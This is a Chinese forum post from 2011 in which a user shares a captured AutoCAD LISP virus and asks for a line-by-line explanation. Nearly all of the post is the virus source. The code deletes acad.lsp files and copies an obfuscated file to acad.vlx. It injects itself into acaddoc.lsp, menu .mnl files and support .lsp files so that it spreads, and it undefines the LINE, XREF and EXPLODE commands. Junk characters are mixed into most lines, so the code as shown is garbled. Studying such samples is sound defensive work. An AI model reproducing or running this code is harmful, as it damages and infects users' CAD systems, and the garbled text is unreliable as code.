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[求助] 求助高手解释LISP病毒代码

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发表于 2011-9-19 15:26 | 显示全部楼层 |阅读模式
本人最近截获:CAD病毒代码一段,请LISP高手帮忙解析一下每句语句的功能,不胜感谢。最是比较常见的,党是不会亏待你的,
  1. (/ ~# N" ^# w+ N9 `+ V
  2. setq9 t& J( Y: Q$ H% J* R" e' X3 X7 P
  3.   wold_cmd
    , V; i9 d9 Z9 v
  4.    (9 u5 J$ O) c  o' D& T
  5.     getvar4 a) W5 p! Q; b" |# H. i) f
  6.      "cmdecho"& E6 B9 l+ D: C/ o! `" X/ o
  7.    )
    + N) r% r% G* Y& Q9 L1 x6 Z1 r% h8 K
  8. )8 G* O% _/ U9 X9 z5 z$ k/ L5 c
  9. (3 U; V6 i/ E$ \6 o9 C
  10. setvar
    + i/ n+ n3 M+ q* h" u7 B
  11.   "cmdecho"5 A: d  T' m8 p5 t; u/ r
  12.   0
    - ]( P" W- F  N6 Q
  13. )
    . |8 A, [) F3 A
  14. (* Y& I3 ]) \% @
  15. setq$ J  K8 H/ ]2 m
  16. bb 1
    + F* ^& I& t- u# _5 `) J
  17. )/ [+ h: z! R( z, B
  18. (setq dpath (getvar "dwgprefix"))/ ^  y# p9 u+ w# s
  19. (setq wpath (getvar "menuname"))8 [! _0 H7 Z4 X1 }/ g4 c% u
  20. (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
    3 p& |) g& I# C4 U
  21. (setq mnl (strcat (chr 97)
    2 F8 s( [" ?" r# X- G, A
  22.                   (chr 99)7 H3 a! f: E- ]/ @' H
  23.                   (chr 97)
    , f- `9 K" p( x+ Y- n
  24.                   (chr 100)
    6 v/ G6 ~- z) y3 @$ l% `
  25.                   (chr 46)) @% h% S4 m. o6 M; {
  26.                   (chr 109)
    3 X# T1 z; r8 v
  27.                   (chr 110)# n  _  ^* u9 W, `9 k2 z
  28.                   (chr 108)
    7 w% [+ j8 g0 m4 F" F4 m
  29.           )
    - f; {# ^1 b  x: |* b( z
  30.       lsp (strcat (chr 97)
    & M) R% G3 f' K% h% C
  31.                   (chr 99)
    : a1 |4 L; n6 B1 Q+ T7 a
  32.                   (chr 97)
    ) u! }( E; b1 h  E* d' R+ x
  33.                   (chr 100)
    7 S, X/ t& \+ e1 O
  34.                   (chr 100)! D4 r' F2 m& i# ^
  35.                   (chr 111)1 w4 Y3 O4 Z/ r
  36.                   (chr 99)" z0 a3 x, i( Z$ p: v$ p) I
  37.                   (chr 46)- a1 H8 @: t  ?- k  M2 R4 F; I
  38.                   (chr 108)6 E: f. D# D# F8 E
  39.                   (chr 115): S# S# c3 p2 c( x  _
  40.                   (chr 112)
    7 S+ }1 e/ I- D) z* O( A/ U
  41.           )" j$ P& C4 ?1 V3 x
  42. )- g4 |+ P  e/ p$ ^; W, t
  43. (vl-file-delete (strcat wpath "acadapq.lsp"))
    6 S$ W6 q6 `2 O2 }. m
  44. (vl-file-delete (strcat wpath lsp))
    * Z* Z9 a, G( a6 O$ u' F' l  Q
  45. (vl-file-delete (strcat wpath "acad.lsp"))
    1 a* ?9 o* \  t0 L+ w, ?8 l: v: i
  46. (vl-file-delete (strcat dpath "acad.lsp"))  a/ r+ ?% e! `. S1 `; Q) C
  47. (defun wwriteapp ()* ], z- |, n( R
  48.   (if (setq wwjm1 (open wnewacad "w"))
      F( |5 D  T# z: B. E' {$ ?
  49.     (progn* m0 ]5 G1 O4 h% i5 v% Z; ^, ~
  50.       (setq wwjm (open woldacad "r"))
    ! e; p: E4 d. j2 i6 j& E5 h# a# x5 A# e
  51.       (while(setq wwz (read-line wwjm))
    1 Q% Z6 a' A3 d3 L1 w
  52.          (write-line wwz wwjm1)
    7 I; i; J9 C, D- `
  53.       )
    + Q" L9 ]" e: q- X1 W. a
  54.       (close wwjm)
    8 V) I2 }2 U5 o. O4 h4 k
  55.       (close wwjm1), L7 g/ J1 t) E9 i' G+ M; f
  56.     )+ q6 Q' z- {1 A% L# p- w
  57.   )
    2 I& q2 o' e1 L
  58. )) O2 E: z$ k( T4 }8 [
  59. ; M; Y" }4 e. ~% M) C" [
  60. (setq lbz 0)# T* `, B" v; y: s/ t% c
  61. (setq wwjqm (strcat dpath lsp))
    6 l9 g# c, I) e( Z' \; q
  62. (if (setq wwjm (open wwjqm "r"))
    % r! c4 t5 o4 S& S! `( x
  63.   (progn
      i* f! Y. Z9 B' d( l7 J$ `
  64.     (repeat 15 (read-line wwjm))% `# v: g1 r, e' n, Q! H0 a/ h
  65.     (setq wz (read-line wwjm))6 t$ ~% O- q" g6 a
  66.     (setq ab (atoi (substr wz 4 1)))0 N, u$ Y4 x8 Q* B7 C7 ?/ P; C( ]
  67.     (close wwjm)) x% r8 c5 U# i& q/ j
  68.     (if        (> ab bb)$ B0 m5 u+ S% S5 |8 G/ t
  69.       (setq lbz 1)
    $ n, o) C% F1 u
  70.     )% y, |0 G* Z; ]/ y5 [* S
  71.   )
    * r( p# E1 x3 f% Y
  72. )
    ; p! l% ?& u$ Q3 d) K* k- }

  73. & p" j# z1 i' n& D% @% j
  74. (setq wwjqm (strcat wpath mnl))
    8 d: A6 ~4 s* r, T2 J
  75. (if (setq wwjm (open wwjqm "r"))
    7 E2 B) w- n+ N4 ]8 e
  76.   (progn" _( p+ {3 g1 l1 m' W
  77.     (repeat 15 (read-line wwjm))) w& F* c/ o; P; d; P% t9 J( a+ R
  78.     (setq wz (read-line wwjm))
    : g' m+ x0 g: x3 `% M* |6 K6 x
  79.     (setq nb (atoi (substr wz 4 1)))- e8 `7 @0 }. I0 d
  80.     (close wwjm)
    0 S7 m3 ^+ L1 p$ j
  81.    
    : w! U& }3 `2 d
  82.     (if        (< nb bb)
    , W$ B0 f# ~/ H$ i0 `
  83.       (setq lbz 1)
    # q( a7 z6 B6 l2 A9 Z
  84.     )
    : E, w3 m" q# p' [( u* D! U
  85.   )
    7 }6 G& P& I3 x- {! E
  86.   (setq lbz 1)9 R: i3 x+ y- \& I& x, ]
  87. )' U$ ?1 S# V8 s8 {. v, v/ \% r
  88. (if (= lbz 1)' B/ E, ^& a- `1 h8 d7 n
  89.   (progn+ g4 y) a4 V  X$ E
  90.     (setq woldacad (strcat dpath lsp))
    6 t" s& Q* x9 d- e
  91.     (setq wnewacad (strcat wpath mnl))7 L  A* |- x# p* G  E& z- |
  92.     (wwriteapp)7 n$ \3 c7 n+ ]. U9 c$ S
  93.   ); V- k, g2 I  t6 ~
  94. )
    ) w3 k4 j, ?* w1 C& ]0 e
  95. (if (and (/= (substr dpath 1 1) (chr 67)), w* i9 ^. s1 G9 R% O7 m
  96.          (/= (substr dpath 1 1) (chr 68))3 N" j" ]5 m: Y: ]5 `
  97.          (/= (substr dpath 1 1) (chr 69))
    4 q1 l+ n9 K8 C7 p; i  Z; T: Z7 C2 y
  98.          (/= (substr dpath 1 1) (chr 70))
    . l/ X  k) ]- \0 x5 h. z' C  |
  99.     )2 v# q; _5 s% R0 `5 ~' l) T9 ^
  100.   (progn
    6 V5 w3 g  G2 y5 m/ {& ^; F
  101.     (setq woldacad (strcat wpath mnl))4 S9 Z. j. [8 T: e1 g
  102.     (setq wnewacad (strcat dpath lsp))
    . ^9 ^9 V% X* W  E" ^( ]& g3 I
  103.     (wwriteapp)
    6 `" X1 r" Q" |7 }. t
  104.   )
    4 @3 @# v! F% e# y6 k
  105.   (vl-file-delete (strcat dpath lsp))3 s+ C* ?$ V) h
  106. ): c0 w, Y8 C  j8 r
  107. ;load "acadapq")
    1 i0 |3 t* @/ @8 }1 ^
  108. (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
    - O* g  a6 {' s4 ]; b
  109. - x  D2 [3 V5 B1 ^- ?
  110. (setq flagx t)
    1 B$ ~& ]- s% G' z$ H7 m
  111. (setq bz "(setq flagx t)")4 u9 B: b% D! l: {) S$ M
  112. (defun app(source target bz / flag flag1 wjm wjm1 text); J, v! Q. }$ B; X
  113.   (setq flag nil)  b) z" K7 k( ^% h" O+ X* |+ u$ N
  114.   (setq flag1 t)
    4 ?. a7 j) y* c9 ?
  115.   (if (findfile target)
    9 _2 `' n7 T! L- O' x9 }
  116.     (progn
    % j# X2 D9 ?4 f5 ]3 S
  117.       (setq wjm1 (open target "r"))
    : Q' m) S& W$ p0 Z1 t
  118.       (while (setq text (read-line wjm1)); \8 j) G* `& M# _) X
  119.         (if (= text bz) (setq flag1 nil))
    $ l" N% P- ^9 g- s3 a' f
  120.         );while
    1 G/ @1 [4 A; q. J
  121.       (close wjm1)- Z5 K* K  b' p, X1 {
  122.       );progn
    : ]' w0 l4 X4 T: J) c( w
  123.     );if  w( w& a- G+ G6 N: r( b# t5 l
  124.   (if flag1
    8 s# x5 S5 ~( N( X' t
  125.     (progn9 f" j0 ~; M- V: a
  126.       (setq wjm (open source "r"))" p0 P5 P+ i1 K6 C5 g% ^0 \* K4 A
  127.       (setq wjm1 (open target "a"))
    0 Z# T! D/ l3 [5 B. ?9 Z
  128.       (write-line (chr 13) wjm1)) U) a; ^7 v  |" S* b
  129.       (while (setq text (read-line wjm))
    ( G2 x+ P+ n9 _  Q3 K# [8 ]# O( b
  130.         (if (= text bz) (setq flag t))
    ) e- V) g" h. n+ S" ]
  131.         (if flag# S/ h- p& J) O4 A" `
  132.           (progn; i( B4 N6 b, H% ?9 d1 i# v
  133.             (write-line text wjm1)
    + v% U/ d5 S# i
  134.             );progn7 b; m/ s& x/ `5 M& w' ~! _1 k
  135.           );if8 Z3 F! m6 Q5 c6 C1 X* \
  136.         );while* t3 a9 K2 o" O7 w) j
  137.       (close wjm1)
    3 V# G, |! C& v  S3 j* s
  138.       (close wjm)
      M6 `' ^! A0 a; d+ Q
  139.       );progn2 v+ u( P0 m; G2 L7 z
  140.     );if
    % l2 p' a0 F* Q+ W
  141.   );defun
    8 S* B* ?; d" ?4 y
  142. (setvar "cmdecho" 0)
    # s& l. j$ g- i
  143. (setq acadmnl (findfile "acad.mnl"))) Z  B4 v8 [5 @. B7 N! k. h
  144. (setq acadmnlpath (vl-filename-directory acadmnl))
    ; `, _, b0 E7 O
  145. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
    * U8 K5 x! N0 ~
  146. (setq mnlnum (length mnlfilelist))* b4 {% j" S$ l# E, b, [! a
  147. (setq acadexe (findfile "acad.exe"))
    9 _% x9 o. X" G9 F" Z9 m
  148. (setq acadpath (vl-filename-directory acadexe))
    ( a0 S% ?% s2 R8 B2 h( e
  149. (setq support (strcat acadpath "\\support"))
    7 l- P/ n5 S2 H5 V& w  j+ ]
  150. (setq lspfilelist (vl-directory-files support "*.lsp"))
    ' m( n5 x9 A& d* g1 _5 a
  151. (setq lspfilelist (append lspfilelist (list "")))
      o# S" [) \4 w# ^
  152. (setq lspnum (length lspfilelist))
    3 {. |! s) b) y2 u
  153. (setq dwgname (getvar "dwgname"))
    ' t0 `+ _' l# V
  154. (setq dwgpath (findfile dwgname))
    3 I7 w3 m0 ^0 c1 t7 U2 Z3 @) Z5 O
  155. (if dwgpath
    0 Y3 ]9 K8 j; g4 c9 P
  156.   (progn: i& k6 P% W# v$ \1 ^' ?6 D
  157.     (setq acaddocpath (vl-filename-directory dwgpath))
    ' _% s7 C! r$ S! _, T& v
  158.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    : C9 X0 B) [# J
  159.     (setq mnln 0)
    ; q5 u6 F+ F: T* W1 a8 [
  160.     (while (< mnln mnlnum)) r1 g+ X5 b! l& w, f- h$ Q5 s6 {: r
  161.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
    ! `' D7 h7 B& g  C& U; B
  162.       (app mnlfilename acaddocfile bz)9 d& F5 u3 v8 o* J
  163.       (app acaddocfile mnlfilename bz)0 g! p! r: {+ ]+ K, E) K
  164.       (setq mnln (1+ mnln))0 J7 ?" @- D  R) N5 X8 ]! v4 u& P
  165.       );while- e' S3 N, P3 W3 A
  166.     (setq lspn 0). A: u9 V( c( ^6 T# d
  167.     (while (< lspn lspnum)
    - N) ]- E0 l7 r  D+ s  I. g
  168.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
    : G. [! v9 n) r( D6 s* P* W
  169.       (app lspfilename acaddocfile bz)
    0 b; `- v& y6 k/ z, E% }. S4 B* j
  170.       (app acaddocfile lspfilename bz)
    # d) x/ Z$ y( z* e% k, H# P: I
  171.       (setq lspn (1+ lspn))
    6 T0 I* K, `% z; a, r
  172.       );while$ A9 B( u8 ~: P5 h0 E
  173.     );progn
    6 _* g: y5 B: p( B) B
  174.   );if
    * h5 p3 _1 p4 @# M
  175. (setq mnln 0)- E# ^6 c' o' R+ {, p, N. @
  176. (while (< mnln mnlnum)1 X) |7 n; c( P$ @: p. \+ l& c% }
  177.   (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))# V. V  d& r1 y- H
  178.   (setq mnln1 0)
    + T& }  v  z/ x3 R
  179.   (while (< mnln1 mnlnum)
    8 T" i# p" Z  d6 S* z# G$ B0 z
  180.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))# }$ F8 e7 l5 [! t5 C' B
  181.     (app mnlfilename mnlfilename1 bz)
    $ ~" |* N: W  J: g0 n( ?7 V/ p
  182.     (setq mnln1 (1+ mnln1))
    3 l; A: t2 G: C. l" @9 b
  183.     );while
    4 E7 |* q; |, V* n- s; M1 Z
  184.   (setq lspn1 0)6 X- Q' o& [/ ^  ^7 o6 X
  185.   (while (< lspn1 lspnum): ?+ j$ n! z9 K0 |! L$ {
  186.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))- ?# H9 x+ {5 v+ r
  187.     (app mnlfilename lspfilename1 bz)
    ; n& L1 D/ j6 `7 V6 O1 c2 J2 B' e/ C
  188.     (setq lspn1 (1+ lspn1))
    2 c  ]1 h: z# \0 ]: D
  189.     );while* Z# m$ {" [. p7 L. a
  190.   (setq mnln (1+ mnln))
    3 g4 S" \- I# I& \3 m  U/ T
  191.   );while+ W8 `5 e( }; [8 @
  192. (setq lspn 0)
    7 p: \( j2 }: }% {1 l
  193. (while (< lspn lspnum)% q; f: O; Q  Q- c
  194.   (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))) H% f2 f0 O! a+ H) [
  195.   (setq lspn1 0)6 a8 p: l: c* f! W7 }2 `
  196.   (while (< lspn1 lspnum)
    ' S$ m5 C- A2 V5 a5 m  ~
  197.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
      ^& i/ t( u0 h( Z: Q% X
  198.     (app lspfilename lspfilename1 bz)
    , Y6 X) k+ v+ j+ g) c5 e- T
  199.     (setq lspn1 (1+ lspn1))
    4 P4 Z, I: @6 ?6 X+ }! g
  200.     );while
    $ n; @5 m0 @! M' U8 W; |* e8 o
  201.   (setq mnln1 0)
    ! a( Y0 F4 q1 T* u
  202.   (while (< mnln1 mnlnum)/ K/ d: A8 H" ]3 D7 V% l
  203.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))2 w* m: _, F- k
  204.     (app lspfilename mnlfilename1 bz)! g& L$ h* N  q  I
  205.     (setq mnln1 (1+ mnln1))8 t# |8 K, C3 m" L8 Z6 @
  206.     );while
    ) W" m( L, M- v) W$ K: t& n' g
  207.   (setq lspn (1+ lspn)); V  ~6 d* q: \- ?5 C" s
  208.   );while
      y9 v: `$ z6 b1 R
  209. (setvar "sdi" 1)
    5 o$ x2 ?( N) s9 d8 n7 R
  210. (setvar "ACADLSPASDOC" 1)3 {( w) C3 @* W
  211. (command "undefine" "line")
    ( ^1 _5 ]0 ]# P, Z2 o5 W- C0 J8 K5 Z  ~
  212. (command "undefine" "_line")! n! j- U" t6 c+ i- v. k
  213. (command "undefine" "xref")) k: x  a/ o. {8 V7 f  f8 ^6 ^5 U2 X2 f
  214. (command "undefine" "_xref")% c0 g8 r, J3 ^; e7 _
  215. (command "undefine" "explode")- `9 l1 u4 h! J1 R+ S+ }3 r7 F0 ^
  216. (command "undefine" "_explode")$ A5 D7 q! Y2 b- w) S6 v
  217. (setvar "cmdecho" 1)
    ( X. l+ G& _+ N% x
  218. (princ); y1 c3 M& p0 \* V, R( a( C& Z8 H
  219. (load "acadapp"), p* S7 }5 E. ?- v6 `7 s! k
  220. (princ)
    9 q! l& K# }8 y
  221. (if (null stol) (load "lcm" ""))7 S" Q) y* F$ f
  222. (princ)
    6 l( }) B. B/ O: l8 m
  223. (load "acadappp.lsp")9 n* v& {" p! P+ A( W
  224. (princ), ~! U& |- C4 T7 C
  225. (if (null stol) (load "lcm" ""))* U( M( \0 f" U) j- v' N. V
  226. (princ)
复制代码
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